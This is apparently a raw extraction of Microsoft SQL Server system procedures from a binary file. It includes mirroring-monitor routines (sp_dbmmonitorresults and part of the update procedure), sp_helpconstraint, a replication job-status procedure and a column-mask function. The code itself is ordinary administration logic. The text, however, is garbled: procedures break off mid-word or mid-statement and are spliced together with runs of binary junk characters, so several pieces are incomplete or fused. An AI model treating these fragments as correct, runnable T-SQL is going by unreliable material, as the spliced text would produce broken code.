			@perf_instance1		nvarchar(256),
			@perf_instance2		nvarchar(256),
			@instance			nvarchar(128)

		select @instance = convert( nvarchar,  serverproperty(N'instancename'))
		if @instance is null
		begin
			set @instance = N'SQLServer'
		end
		else
		begin
			set @instance = N'MSSQL$' + @instance
		end

		set @perf_instance1 = left(@instance, len(@instance)) + N':Database Mirroring'
		set @perf_instance2 = left(@instance, len(@instance)) + N':Databases'

--
-- Insert a single row in the table for each database
--
-- 1. Pull out the perf counters
-- 2. Pull out the information from sys.database_mirroring
-- 3. Get the end of log lsn

		declare @perfcounters table(
			counter_name		nchar(128),
			cntr_value			bigint
		)

		insert into @perfcounters select counter_name, cntr_value from sys.dm_os_performance_counters where
			(object_name = @perf_instance1 or object_name = @perf_instance2 ) and 
			instance_name = @database_name and
			counter_name IN (N'Log Send Queue KB', N'Log Bytes Sent/sec', N'Redo Queue KB', N'Redo Bytes/sec', N'Transaction Delay', N'Log Bytes Flushed/sec', N'Transactions/sec')
		-- TO DO select all perfcounters for all databases so that you only need to access them once.
		select @role = (mirroring_role - 1),
			@status = mirroring_state, 
			@witness_status = mirroring_witness_state,
			@failover_lsn = mirroring_failover_lsn,
			@end_of_log_lsn = mirroring_end_of_log_lsn
				from sys.database_mirroring where database_id = @database_id
		-- TO DO: when doing the join, store the database id.
		select @log_flush_rate = cntr_value from @perfcounters where counter_name = N'Log Bytes Flushed/sec'
		select @send_queue_size = cntr_value from @perfcounters where counter_name = N'Log Send Queue KB'
		select @send_rate = cntr_value from @perfcounters where counter_name = N'Log Bytes Sent/sec'
		select @redo_queue_size = cntr_value from @perfcounters where counter_name = N'Redo Queue KB'
		select @redo_rate = cntr_value from @perfcounters where counter_name = N'Redo Bytes/sec'
		select @transaction_delay = cntr_value from @perfcounters where counter_name = N'Transaction Delay'
		select @transactions_per_sec = cntr_value from @perfcounters where counter_name = N'Transactions/sec'
		set @time = getutcdate()
		set @local_time = getdate()

-- 4. and insert it here
		insert into msdb.dbo.dbm_monitor_data (database_id, role, status, witness_status, failover_lsn, end_of_log_lsn, log_flush_rate,
				send_queue_size, send_rate, redo_queue_size, redo_rate, transaction_delay, transactions_per_sec, time, local_time)
		values( @database_id, @role, @status, @witness_status, @failover_lsn, @end_of_log_lsn, @log_flush_rate, @send_queue_size, @send_rate,
			@redo_queue_size, @redo_rate, @transaction_delay, @transactions_per_sec, @time, @local_time )

		-- 
		-- Raise the alerts (as errors)
		--
		--
		-- we need to call sys.sp_dbmmonitorresults to get the last row inserted and then we will compare those results with what is in the alerts table
		--
		declare	@alert		bit,
				@threshold	int,
				@command	char(256),
				@time_behind_alert_value	datetime,
				@send_queue_alert_value		int,
				@redo_queue_alert_value		int,
				@average_delay_alert_value	int,
				@temp_time					int

		declare @results table(
			database_name			sysname,	-- Name of database
			role					int,		-- 1 = Principal, 2 = Mirror
			mirroring_state			int,		-- 0 = Suspended, 1 = Disconnected, 2 = Synchronizing, 3 = Pending Failover, 4 = Synchronized
			witness_status			int,		-- 1 = Connected, 2 = Disconnected
			log_generation_rate		int NULL,	-- in kb / sec
			unsent_log				int,		-- in kb
			send_rate				int NULL,	-- in kb / sec
			unrestored_log			int,		-- in kb
			recovery_rate			int NULL,	-- in kb / sec
			transaction_delay		int NULL,	-- in ms
			transactions_per_sec	int NULL,	-- in trans / sec
			average_delay			int,		-- in ms
			time_recorded			datetime,
			time_behind				datetime,
			local_time				datetime		
		)

		set @command = N'sys.sp_dbmmonitorresults ''' + replace(@database_name, N'''',N'''''') + N''',0,0'
		-- get just the values we want to test
		insert into @results exec (@command)
		select @time_behind_alert_value = time_behind, @send_queue_alert_value = unsent_log,
				@redo_queue_alert_value = unrestored_log, @average_delay_alert_value = average_delay
		from @results where database_name = @database_name

		-- These next four code blocks are the same:
		--	If the alert is enabled AND the value is above the threshold, fire the event
		-- The four code bl!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(evDcreate procedure sys.sp_dbmmonitorresults 
(
    @database_name	sysname,	-- name of database
    @mode	int = 0,			-- 0 = last row, 1 last two hours, 2 last four, 3 last eight, 4 last day
								-- 5 last two days, 6 last 100, 7 last 500, 8 last 1000, 9 all.
	@update_table	int = 0		-- if 1, then generate a row in the base table and then return.  
								-- Going to leave this as an int.  Could be bit, but this is more flexible.
)
as
begin
	set nocount on
	if (is_srvrolemember(N'sysadmin') <> 1 and isnull(is_member(N'dbm_monitor'), 0) <>  1 )
    begin
		raiserror(32046, 16, 1)
		return 1
	end
	if ( db_name() != N'msdb' )
	begin
		raiserror(32045, 16, 1, N'sys.sp_dbmmonitorresults')
		return 1
	end

	if( @mode < 0 or @mode > 9 or @update_table < 0 or @update_table > 1 )
	begin
		raiserror( 32036, 16, 1 )
		return 1
	end
	--
	-- Check if the database specified exists 
	--
	if not exists (select * from master.sys.databases where name = @database_name)
	begin
		raiserror(15010, 16, 1, @database_name)
		return 1
	end

	declare
		@database_id			smallint,
		@role					bit,
		@status					tinyint,
		@witness_status			tinyint,
		@log_flush_rate			bigint ,
		@send_queue_size		bigint ,
		@send_rate				bigint ,
		@redo_queue_size		bigint ,
		@redo_rate				bigint ,
		@transaction_delay		bigint ,
		@transactions_per_sec	bigint ,
		@time					datetime ,
		@end_of_log_lsn			numeric(25,0),
		@failover_lsn			numeric(25,0),
		@average_delay			int,
		@local_time				datetime

	declare
		@role2					bit,
		@status2				tinyint,
		@witness_status2		tinyint,
		@log_flush_rate2		bigint ,
		@send_queue_size2		bigint ,
		@send_rate2				bigint ,
		@redo_queue_size2		bigint ,
		@redo_rate2				bigint ,
		@transaction_delay2		bigint ,
		@transactions_per_sec2	bigint ,
		@time2					datetime ,
		@end_of_log_lsn2		numeric(25,0),
		@failover_lsn2			numeric(25,0),
		@diff_time				bigint,
		@local_time2			datetime,
		@time_update_window		datetime

	declare
		@time_behind			datetime,
		@temp_lsn				numeric(25,0),
		@time_cutoff			datetime,
		@rows_to_return			int

	declare @results table(
		database_name			sysname,	-- Name of database
		role					tinyint,	-- 1 = Principal, 2 = Mirror
		mirroring_state			tinyint,	-- 0 = Suspended, 1 = Disconnected, 2 = Synchronizing, 3 = Pending Failover, 4 = Synchronized
		witness_status			tinyint,	-- 1 = Connected, 2 = Disconnected
		log_generation_rate		int null,	-- in kb / sec
		unsent_log				int,		-- in kb
		send_rate				int null,	-- in kb / sec
		unrestored_log			int,		-- in kb
		recovery_rate			int null,	-- in kb / sec
		transaction_delay		int null,	-- in ms
		transactions_per_sec	int null,	-- in trans / sec
		average_delay			int,		-- in ms
		time_recorded			datetime,
		time_behind				datetime,
		local_time				datetime	-- Added for UI		
	)

	set @database_id = DB_ID( @database_name )
	-- if we update the table anyway, the table will be created
	if (@update_table = 1)
	begin
		if( is_srvrolemember(N'sysadmin') = 1 )
		begin
			-- Check if the base table is there
			if object_id ( N'msdb.dbo.dbm_monitor_data', N'U' ) is null
			begin
				exec sys.sp_dbmmonitorupdate @database_name
			end
			else
			begin -- UI wants us to update base table, but don't do it if less than 15 seconds since last update.
				select top(1) @time_update_window = time from msdb.dbo.dbm_monitor_data 
					where database_id = @database_id order by time desc
				if ( datediff( second, @time_update_window, getutcdate() ) > 15 or @time_update_window is null)
				begin
					exec sys.sp_dbmmonitorupdate @database_name		--replace(@database_name, N'''',N'''''')
				end
			end
		end
		else
		begin
			raiserror(32051, 10, 1)  -- Inform user that although asked to update the table, the user does not have rights to do it.
		end
	end 

	-- Here's what we do
	-- 1. create a cursor to loop over the rows in the data table
	-- 2. get one row of data
	-- 3. while (we should loop is true)
	-- 4.	get the next row of data	might break out of the loop here.
	-- 5.	calculate differences between rates
	-- 6.	calculate the difference in "time" between the failover LSN (what the mirror has) and the end of log LSN (the latest value on the principal)
	-- 7.   insert the data into the table
	-- 8.	copy older values of data into newer values (basically we are doing step 2 here.  or putting step 4's data into the original
	--			variables since we are done with that information anyway.
	-- 9. loop to 3.

	declare mirroring_cursor cursor local 
			for select
				role, status, witness_status, log_flush_rate, send_queue_size, send_rate, redo_queue_size, redo_rate, transaction_delay, transactions_per_sec, time, end_of_log_lsn, failover_lsn, local_time
			from msdb.dbo.dbm_monitor_data
			where database_id = @database_id order by time desc

		open mirroring_cursor

		fetch next from mirroring_cursor 
			into @role, @status, @witness_status, @log_flush_rate, @send_queue_size, @send_rate, @redo_queue_size,
			@redo_rate,	@transaction_delay, @transactions_per_sec, @time, @end_of_log_lsn, @failover_lsn, @local_time

		set @rows_to_return = 0
		set @time_cutoff = getutcdate()
		if @mode = 0
		begin
			set @rows_to_return = 1
		end
		else if @mode = 1
		begin
			set @time_cutoff = getutcdate() - ( 2.  / 24.)
		end
		else if @mode = 2
		begin
			set @time_cutoff = getutcdate() - ( 4.  / 24.)
		end
		else if @mode = 3
		begin
			set @time_cutoff = getutcdate() - ( 8.  / 24.)
		end
		else if @mode = 4
		begin
			set @time_cutoff = getutcdate() - ( 1.)
		end
		else if @mode = 5
		begin
			set @time_cutoff = getutcdate() - ( 2.)
		end
		else if @mode = 6
		begin 
			set @rows_to_return = 100
		end
		else if @mode = 7
		begin
			set @rows_to_return = 500
		end
		else if @mode = 8
		begin
			set @rows_to_return = 1000
		end
		else if @mode = 9
		begin
			set @rows_to_return = 1000000
		end

		while (@time > @time_cutoff or @rows_to_return > 0)
		begin 
			if @rows_to_return > 0
				set @rows_to_return = @rows_to_return - 1

			fetch next from mirroring_cursor
				into @role2, @status2, @witness_status2, @log_flush_rate2, @send_queue_size2, @send_rate2, @redo_queue_size2,
				@redo_rate2, @transaction_delay2, @transactions_per_sec2, @time2, @end_of_log_lsn2, @failover_lsn2, @local_time2
		
			if( @@fetch_status <> 0 )	-- this is the fetch_status that we want to break out of the loop
				break
			
			set @diff_time = datediff( second, @time2, @time )
			if (@diff_time = 0)
			begin
				set @log_flush_rate = 0
				set @send_rate =      0
				set @redo_rate =      0
				set @transactions_per_sec = 0
				set @transaction_delay = 0
			end
			else if (@role != @role2)	-- if the role has changed then the rate counters are meaningless
			begin
				set @log_flush_rate = null
				set @send_rate =      null
				set @redo_rate =      null
				set @transactions_per_sec = null
				set @transaction_delay = null
			end
			else
			begin
				if (@log_flush_rate < @log_flush_rate2 )
				begin
					set @log_flush_rate = null
				end
				else 
				begin
					set @log_flush_rate = (@log_flush_rate - @log_flush_rate2 ) / ( @diff_time * 1024)	-- This is in kilobytes
				end

				if (@send_rate < @send_rate2)
				begin
					set @send_rate = null
				end
				else
				begin
					set @send_rate =      (@send_rate - @send_rate2)/ ( @diff_time * 1024 )
				end

				if (@redo_rate < @redo_rate2)
				begin
					set @redo_rate = null
				end
				else
				begin
					set @redo_rate =      (@redo_rate - @redo_rate2)/ ( @diff_time * 1024 )
				end

				if (@transactions_per_sec < @transactions_per_sec2 )
				begin
					set @transactions_per_sec = null
				end
				else
				begin
					set @transactions_per_sec = (@transactions_per_sec - @transactions_per_sec2 ) / @diff_time
				end

				if (@transaction_delay < @transaction_delay2)
				begin
					set @tr!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<k,
&RDansaction_delay = null
				end
				else
				begin
					set @transaction_delay = (@transaction_delay - @transaction_delay2 ) / @diff_time
				end
			end
		
			if (@transactions_per_sec = 0)
			begin
				set @average_delay = 0
			end
			else
			begin
				set @average_delay = @transaction_delay / @transactions_per_sec
			end
			-- Here we are going to match the failover lsn to time
			if ((@failover_lsn > @end_of_log_lsn) and (@end_of_log_lsn <> 0) )		-- this should never happen
			begin
				return 1
			end
			else
			begin
				if ( (@failover_lsn = @end_of_log_lsn) or (@end_of_log_lsn = 0) )	-- I've seen cases after a failover or the system just start up 
				begin										-- where the failover_lsn does not catch up to the end_of_log_lsn
					set @time_behind = @time				-- until some log is generated.  we'll see how this works.
				end
				else
				begin
					select top(1) @time_behind = time from msdb.dbo.dbm_monitor_data 
						where end_of_log_lsn <= @failover_lsn and database_id = @database_id order by time desc		
				end
			end

			insert @results 
				values (
					@database_name,
					@role + 1,
					@status,
					@witness_status,
					@log_flush_rate,
					@send_queue_size,
					@send_rate,
					@redo_queue_size,
					@redo_rate,
					@transaction_delay,
					@transactions_per_sec,
					@average_delay,
					@time,
					@time_behind,
					@local_time
				)
 
			set @role					= @role2
			set @status					= @status2
			set @witness_status			= @witness_status2
			set @send_queue_size		= @send_queue_size2
			set @redo_queue_size		= @redo_queue_size2
			set @end_of_log_lsn			= @end_of_log_lsn2
			set @failover_lsn			= @failover_lsn2
			set @log_flush_rate			= @log_flush_rate2
			set @send_rate				= @send_rate2
			set @redo_rate				= @redo_rate2
			set @transactions_per_sec	= @transactions_per_sec2
			set @transaction_delay		= @transaction_delay2
			set @time					= @time2
			set @local_time				= @local_time2
		end

	close mirroring_cursor
	deallocate mirroring_cursor	

	select * from @results
	return 0
end
?K?nto #spcnsttab (cnst_id,cnst_type,cnst_name,cnst_nonblank_name,cnst_keys, cnst_2type)
	select c.rule_object_id,'RULE on column ' + c.name + ' (bound with sp_bindrule)',
		object_name(c.rule_object_id), object_name(c.rule_object_id), m.text, 'R '
	from	sys.columns c join syscomments m on m.id = c.rule_object_id
	where c.object_id = @objid

	insert into #spcnsttab (cnst_id,cnst_type,cnst_name,cnst_nonblank_name,cnst_keys, cnst_2type)
	select c.default_object_id, 'DEFAULT on column ' + c.name + ' (bound with sp_bindefault)',
		object_name(c.default_object_id),object_name(c.default_object_id), m.text, 'D '
	from	sys.columns c join syscomments m on m.id = c.default_object_id
	where c.object_id = @objid and objectproperty(c.default_object_id, 'IsConstraint') = 0


	-- OUTPUT RESULTS: FIRST THE OBJECT NAME (if not suppressed)
	if @nomsg <> 'nomsg'
	begin
		select 'Object Name' = @objname
		print ' '
	end

	-- Now print out the contents of the temporary index table.
	if exists (select * from #spcnsttab)
		select
			'constraint_type' = cnst_type,
			'constraint_name' = cnst_name,
			'delete_action'=
					case
						when cnst_name = ' ' Then ' '
						when cnst_2type in ('F ') Then
							case cnst_del_action 
								when 0 Then 'No Action'
								when 1 Then 'Cascade' 
								when 2 Then 'Set Null'
								when 3 Then 'Set Default' 
								else 'Not Defined' end
						else '(n/a)'
						-- The case statement should be updated manually if 'Not Defined' is shown
					end,
			'update_action'=
					case
						when cnst_name = ' ' Then ' '
						when cnst_2type in ('F ') Then
							case cnst_upd_action 
								when 0 Then 'No Action'
								when 1 Then 'Cascade' 
								when 2 Then 'Set Null'
								when 3 Then 'Set Default' 
								else 'Not Defined' end
						else '(n/a)'
						-- The case statement should be updated manually if 'Not Defined' is shown
					end,
			'status_enabled' =
					case
						when cnst_name = ' ' Then ' '
						when cnst_2type in ('F ','C ') Then
							case when cnst_disabled = 1
								then 'Disabled' else 'Enabled' end
						else '(n/a)'
					end,
			'status_for_replication' =
					case
						when cnst_name = ' ' Then ' '
						when cnst_2type in ('F ','C ') Then
							case when cnst_notrepl = 1
								Then 'Not_For_Replication' else 'Is_For_Replication' end
						else '(n/a)'
					end,
			'constraint_keys' = cnst_keys
		from #spcnsttab order by cnst_nonblank_name ,cnst_name desc
	else
		raiserror(15469,-1,-1,@objname) -- No constraints have been defined for object '%ls'.

	print ' '

	if exists (select * from sys.foreign_keys where referenced_object_id = @objid)
		select
			'Table is referenced by foreign key' =
				db_name() + '.'
					+ rtrim(schema_name(ObjectProperty(parent_object_id,'schemaid')))
					+ '.' + object_name(parent_object_id)
					+ ': ' + object_name(object_id)
			from sys.foreign_keys where referenced_object_id = @objid order by 1
	else
		raiserror(15470,-1,-1,@objname) -- No foreign keys reference table '%ls'.

	return (0) -- sp_helpconstraint
aaype = 1 group by obj.name

		end
	end
	else if @sysobj_type in ('V ')
	begin
		-- VIEWS DONT HAVE CONSTRAINTS, BUT PRINT THESE MESSAGES BECAUSE 6.5 DID
		print ' '
		raiserror(15469,-1,-1,@objname) -- No constraints defined
		print ' '
		raiserror(15470,-1,-1,@objname) -- No foreign keys reference table '%ls'.
		EXEC sys.sp_helpindex @objname
	end

	return (0) -- sp_help
}}@database) + '.dbo.sp_MSfast_delete_trans'
            SELECT @command = 'EXEC ' + @command
            EXEC (@command)
            IF (@@ERROR <> 0)
            BEGIN
                RETURN (1)
            END

            -- Do distribution cleanup the final time
            -- this handles those fiddly agent tables & such
            -- ( and would delete commands/xacts if we hadn't already purged 'em )

            SELECT	@command =	'EXEC ' +
            					QUOTENAME(@database) + 
								'.dbo.sp_MSdistribution_cleanup @min_distretention = 0, @max_distretention = 0, @no_applock = 1'

            EXEC (@command)

            IF (@@ERROR <> 0)
            BEGIN
                RETURN (1)
            END
        END
    END

	-- Delete the DistributionDB entry
	DELETE	msdb.dbo.MSdistributiondbs
	WHERE	name = @database collate database_default

	IF @@error <> 0
	BEGIN
		RETURN(1)
	END

    RETURN (0)
END                
!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(|v?create procedure sys.sp_helpconstraint
    @objname nvarchar(776)			-- the table to check for constraints
   ,@nomsg   varchar(5) = 'msg'		-- 'nomsg' supresses printing of TBName (sp_help)
as
	-- PRELIM
	set nocount on

	declare	@objid			int           -- the object id of the table
			,@cnstdes		nvarchar(4000)-- string to build up index desc
			,@cnstname		sysname       -- name of const. currently under consideration
			,@i				int
			,@cnstid		int
			,@cnsttype		character(2)
			,@keys			nvarchar(2126)	--Length (16*max_identifierLength)+(15*2)+(16*3)
			,@dbname		sysname

	-- Create temp table
	CREATE TABLE #spcnsttab
	(
		cnst_id			int			NOT NULL
		,cnst_type			nvarchar(256) collate catalog_default NOT NULL   -- 128 for name + text for DEFAULT
		,cnst_name			sysname		collate catalog_default NOT NULL
		,cnst_nonblank_name	sysname		collate catalog_default NOT NULL
		,cnst_2type			character(2)	collate catalog_default NULL
		,cnst_disabled		bit				NULL
		,cnst_notrepl		bit				NULL
		,cnst_del_action		int				NULL
		,cnst_upd_action		int				NULL
		,cnst_keys			nvarchar(2126)	collate catalog_default NULL	-- see @keys above for length descr
	)

	-- Check to see that the object names are local to the current database.
	select @dbname = parsename(@objname,3)

	if @dbname is null
		select @dbname = db_name()
	else if @dbname <> db_name()
		begin
			raiserror(15250,-1,-1)
			return (1)
		end

	-- Check to see if the table exists and initialize @objid.
	select @objid = object_id(@objname)
	if @objid is NULL
	begin
		raiserror(15009,-1,-1,@objname,@dbname)
		return (1)
	end

	-- STATIC CURSOR OVER THE TABLE'S CONSTRAINTS
	declare ms_crs_cnst cursor local static for
		select object_id, type, name from sys.objects where parent_object_id = @objid
			and type in ('C ','PK','UQ','F ', 'D ')	-- ONLY 6.5 sysconstraints objects
		for read only

	-- Now check out each constraint, figure out its type and keys and
	-- save the info in a temporary table that we'll print out at the end.
	open ms_crs_cnst
	fetch ms_crs_cnst into @cnstid ,@cnsttype ,@cnstname
	while @@fetch_status >= 0
	begin

		if @cnsttype in ('PK','UQ')
		begin
			-- get indid and index description
			declare @indid smallint
			select	@indid = i.index_id,
					@cnstdes = case when @cnsttype = 'PK'
								then 'PRIMARY KEY' else 'UNIQUE' end
							 + case when index_id = 1
								then ' (clustered)' else ' (non-clustered)' end
			from		sys.indexes i join
						sys.key_constraints k on
							(
							k.parent_object_id = i.object_id and k.unique_index_id = i.index_id
							)
			where	i.object_id = @objid and k.object_id = @cnstid

			-- Format keys string
			declare @thiskey nvarchar(131) -- 128+3

			select @keys = index_col(@objname, @indid, 1), @i = 2
			if (indexkey_property(@objid, @indid, 1, 'isdescending') = 1)
				select @keys = @keys  + '(-)'

			select @thiskey = index_col(@objname, @indid, @i)
			if ((@thiskey is not null) and (indexkey_property(@objid, @indid, @i, 'isdescending') = 1))
				select @thiskey = @thiskey + '(-)'

			while (@thiskey is not null)
			begin
				select @keys = @keys + ', ' + @thiskey, @i = @i + 1
				select @thiskey = index_col(@objname, @indid, @i)
				if ((@thiskey is not null) and (indexkey_property(@objid, @indid, @i, 'isdescending') = 1))
					select @thiskey = @thiskey + '(-)'
			end

			-- ADD TO TABLE
			insert into #spcnsttab
				(cnst_id,cnst_type,cnst_name, cnst_nonblank_name,cnst_keys, cnst_2type)
			values (@cnstid, @cnstdes, @cnstname, @cnstname, @keys, @cnsttype)
		end

		else
		if @cnsttype = 'F '
		begin
			-- OBTAIN TWO TABLE IDs
			declare @fkeyid int, @rkeyid int
			select @fkeyid = parent_object_id, @rkeyid = referenced_object_id
				from sys.foreign_keys where object_id = @cnstid

			-- USE CURSOR OVER FOREIGN KEY COLUMNS TO BUILD COLUMN LISTS
			--	(NOTE: @keys HAS THE FKEY AND @cnstdes HAS THE RKEY COLUMN LIST)
			declare ms_crs_fkey cursor local for
				select parent_column_id, referenced_column_id
					from sys.foreign_key_columns where constraint_object_id = @cnstid
			open ms_crs_fkey
			declare @fkeycol smallint, @rkeycol smallint
			fetch ms_crs_fkey into @fkeycol, @rkeycol
			select @keys = col_name(@fkeyid, @fkeycol), @cnstdes = col_name(@rkeyid, @rkeycol)
			fetch ms_crs_fkey into @fkeycol, @rkeycol
			while @@fetch_status >= 0
			begin
				select	@keys = @keys + ', ' + col_name(@fkeyid, @fkeycol),
						@cnstdes = @cnstdes + ', ' + col_name(@rkeyid, @rkeycol)
				fetch ms_crs_fkey into @fkeycol, @rkeycol
			end
			deallocate ms_crs_fkey

			-- ADD ROWS FOR BOTH SIDES OF FOREIGN KEY
			insert into #spcnsttab
				(cnst_id, cnst_type,cnst_name,cnst_nonblank_name,
					cnst_keys, cnst_disabled,
					cnst_notrepl, cnst_del_action, cnst_upd_action, cnst_2type)
			values
				(@cnstid, 'FOREIGN KEY', @cnstname, @cnstname,
					@keys, ObjectProperty(@cnstid, 'CnstIsDisabled'),
					ObjectProperty(@cnstid, 'CnstIsNotRepl'),
					ObjectProperty(@cnstid, 'CnstDeleteAction'),
					ObjectProperty(@cnstid, 'CnstUpdateAction'),
					@cnsttype)
			insert into #spcnsttab
				(cnst_id,cnst_type,cnst_name,cnst_nonblank_name,
					cnst_keys,
					cnst_2type)
			select
				@cnstid,' ', ' ', @cnstname,
					'REFERENCES ' + db_name()
						+ '.' + rtrim(schema_name(ObjectProperty(@rkeyid,'schemaid')))
						+ '.' + object_name(@rkeyid) + ' ('+@cnstdes + ')',
					@cnsttype
		end

		else
		if @cnsttype = 'C'
		begin
			-- Check constraint
			select @i = 1
			select @cnstdes = null
			select @cnstdes = text from syscomments where id = @cnstid and colid = @i

			insert into	#spcnsttab
				(cnst_id, cnst_type ,cnst_name ,cnst_nonblank_name,
					cnst_keys, cnst_disabled, cnst_notrepl, cnst_2type)
			select	@cnstid,
				case when parent_column_id <> 0
					then 'CHECK on column ' + col_name(@objid, parent_column_id)
					else 'CHECK Table Level ' end,
				@cnstname ,@cnstname ,substring(@cnstdes,1,2000),
				is_disabled, is_not_for_replication,
				@cnsttype
			from sys.check_constraints where object_id = @cnstid

			while @cnstdes is not null
			begin
				if @i > 1
					insert into #spcnsttab (cnst_id,cnst_type,cnst_name,cnst_nonblank_name,cnst_keys, cnst_2type)
					select	@cnstid,' ' ,' ' ,@cnstname ,substring(@cnstdes,1,2000), @cnsttype

				if len(@cnstdes) > 2000
					insert into #spcnsttab (cnst_id,cnst_type,cnst_name,cnst_nonblank_name,cnst_keys, cnst_2type)
					select	@cnstid,' ' ,' ' ,@cnstname ,substring(@cnstdes,2001,2000), @cnsttype

				select @i = @i + 1
				select @cnstdes = null
				select @cnstdes = text from syscomments where id = @cnstid and colid = @i
			end
		end

		else
		if (@cnsttype = 'D')
		begin
			select @i = 1
			select @cnstdes = null
			select @cnstdes = text from syscomments where id = @cnstid and colid = @i
			insert into	#spcnsttab
				(cnst_id,cnst_type ,cnst_name ,cnst_nonblank_name ,cnst_keys, cnst_2type)
			select @cnstid, 'DEFAULT on column ' + col_name(@objid, parent_column_id),
				@cnstname ,@cnstname ,substring(@cnstdes,1,2000), @cnsttype
				from sys.default_constraints where object_id = @cnstid

			while @cnstdes is not null
			begin
				if @i > 1
					insert into #spcnsttab (cnst_id,cnst_type,cnst_name,cnst_nonblank_name,cnst_keys, cnst_2type)
					select	@cnstid,' ' ,' ' ,@cnstname ,substring(@cnstdes,1,2000), @cnsttype

				if len(@cnstdes) > 2000
					insert into #spcnsttab (cnst_id,cnst_type,cnst_name,cnst_nonblank_name,cnst_keys, cnst_2type)
					select	@cnstid,' ' ,' ' ,@cnstname ,substring(@cnstdes,2001,2000), @cnsttype

				select @i = @i + 1
				select @cnstdes = null
				select @cnstdes = text from syscomments where id = @cnstid and colid = @i
			end
		end

		fetch ms_crs_cnst into @cnstid ,@cnsttype ,@cnstname
	end		--of major loop
	deallocate ms_crs_cnst

	-- Find any rules or defaults bound by the sp_bind... method.
	insert i!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<cOH50cG 8create function sys.fn_fulltext_i4(@clauseno int)
returns table as return
select 
    a.docid as docid,
    a.score as score
from 
openrowset(table FTMATCHQUERY,  @clauseno, 1) a 
0@ C8create procedure sys.sp_get_job_status_mergesubscription_agent
(
    @publisher      sysname = NULL,
    @publisher_db   sysname = NULL,
    @publication    sysname = NULL,
	@agent_name nvarchar(100) = NULL   
)
as
begin	
	set nocount on
	declare @retcode  int
	declare @isdistdb bit	
	declare @runstatus int  
	
	select @isdistdb = sys.fn_MSrepl_isdistdb(DB_NAME())

	--
    -- security check
    --
	if (@isdistdb = 1)
	begin
		if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
		begin
			raiserror(14260, 16, -1)
			return (1)
		end
	end
	else
	begin
		if not (is_member(N'db_owner') = 1)
		begin
			raiserror(14260, 16, -1)
			return (1)
		end
	end


	
	    
    if @isdistdb = 1 and @agent_name is null
    begin
		raiserror(14043, 16, -1, '@agent_name', 'sp_get_job_status_mergesubscription_agent')
		return 1
	end
	else if @isdistdb = 0 and (@publisher is null or @publisher_db is null or @publication is null)
    begin
		-- subscriber-side monitoring
		if @publisher is null
			raiserror(14043, 16, -1, '@publisher', 'sp_get_job_status_mergesubscription_agent')
		if @publisher_db is null
			raiserror(14043, 16, -1, '@publisher_db', 'sp_get_job_status_mergesubscription_agent')
		if @publication is null
			raiserror(14043, 16, -1, '@publication', 'sp_get_job_status_mergesubscription_agent')
		return 1
	end	

	if(@isdistdb = 1)
	begin
		exec @retcode = sp_get_job_status_mergepushsubscription_agent @agent_name,@runstatus=@runstatus output 
	end	
	else
	begin
		exec @retcode = sp_get_job_status_mergepullsubscription_agent 
					   @publisher=@publisher,
					   @publisher_db=@publisher_db,
					   @publication=@publication,
					   @runstatus=@runstatus output 
	end

	select @runstatus

	return @retcode
end
0; c	8
--
-- Name:    
--          fn_IHpublished_columns
--          
-- Description: 
--          Use table id and publisher id to generate a binary (128) mask
--			that identifies the column ordinals of the published table
--			that are to be published by an Oracle publisher.  This will
--			include the first 995 columns of hte table with types that
--			are publishable.
--  
-- Security: 
--          Internal
--
-- Returns:
--          Bit mask
--      
-- Owner:   
--          <current owner> 

create function sys.fn_IHpublished_columns
(
	@tableid		int,
	@publisherid	int
)
returns binary(128)
as
begin
	declare @bit tinyint
	declare @word tinyint
	declare @cnt int
	declare @columns binary(128)
	declare @mask binary(2)
	declare @mval int
	declare @newword binary(2)
	declare @oldword binary(2)
	declare @columnid int
	declare @columncnt int

	SELECT @columns = 0
	SELECT @columncnt = 0

	declare hCartcolumn CURSOR LOCAL FAST_FORWARD FOR
	SELECT	column_ordinal
	FROM	IHpublishercolumns 
	WHERE	publisher_id	= @publisherid
	  AND	table_id		= @tableid
	ORDER BY column_ordinal

	OPEN hCartcolumn
	FETCH hCartcolumn into @columnid

	WHILE (@@fetch_status <> -1) AND (@columncnt < 995)
	BEGIN
		SELECT @columncnt = @columncnt + 1
		
		-- Obtain the byte offset and the bit offset, then set the
		-- mask column for the bit we want to turn on.
		SELECT @word = CONVERT(tinyint, 64 - FLOOR((@columnid-1)/16))
		SELECT @bit = (@columnid-1) % 16
		SELECT @mval = POWER(2, @bit)
		select @mask = convert(binary(2), substring(convert(nchar(2), convert(binary(4), @mval)), 2, 1))

		-- Get the byte we're interested in and save it in a
		-- a temporary local variable.  If it's NULL, set it
		-- to 0.  Then apply the bitwise operator OR to set the
		-- bit in the old byte and save it in another temporary
		-- local variable @newword.
		SELECT @oldword = CONVERT( binary(2), SUBSTRING( CONVERT( nvarchar(64),@columns), @word, 1) )

		IF @oldword IS NULL
			SELECT @oldword = 0x0000

		SELECT @newword = CONVERT(binary(2), convert(smallint, @oldword) | @mask)
		SELECT @columns = CONVERT(binary(128), STUFF(convert(nchar(64),@columns), @word, 1, convert(nchar(1), @newword)))
	
		-- Fetch the next column
		FETCH hCartcolumn INTO @columnid
	END --  end of while block

	return @columns
end
)
    declare @lead_char    nchar(1)
    declare @trail_char    nchar(1)

    -- Set leading/trailing quote characters
    IF @quote_character IN (N'[', N']')
    BEGIN
        SELECT    @lead_char    = N'[',
                @trail_char    = N']'
    END
    ELSE IF @quote_character IN (N'(', N')')
    BEGIN
        SELECT    @lead_char    = N'(',
                @trail_char    = N')'
    END
    ELSE IF @quote_character IN (N'<', N'>')
    BEGIN
        SELECT    @lead_char    = N'<',
                @trail_char    = N'>'
    END
    ELSE IF @quote_character IN (N'{', N'}')
    BEGIN
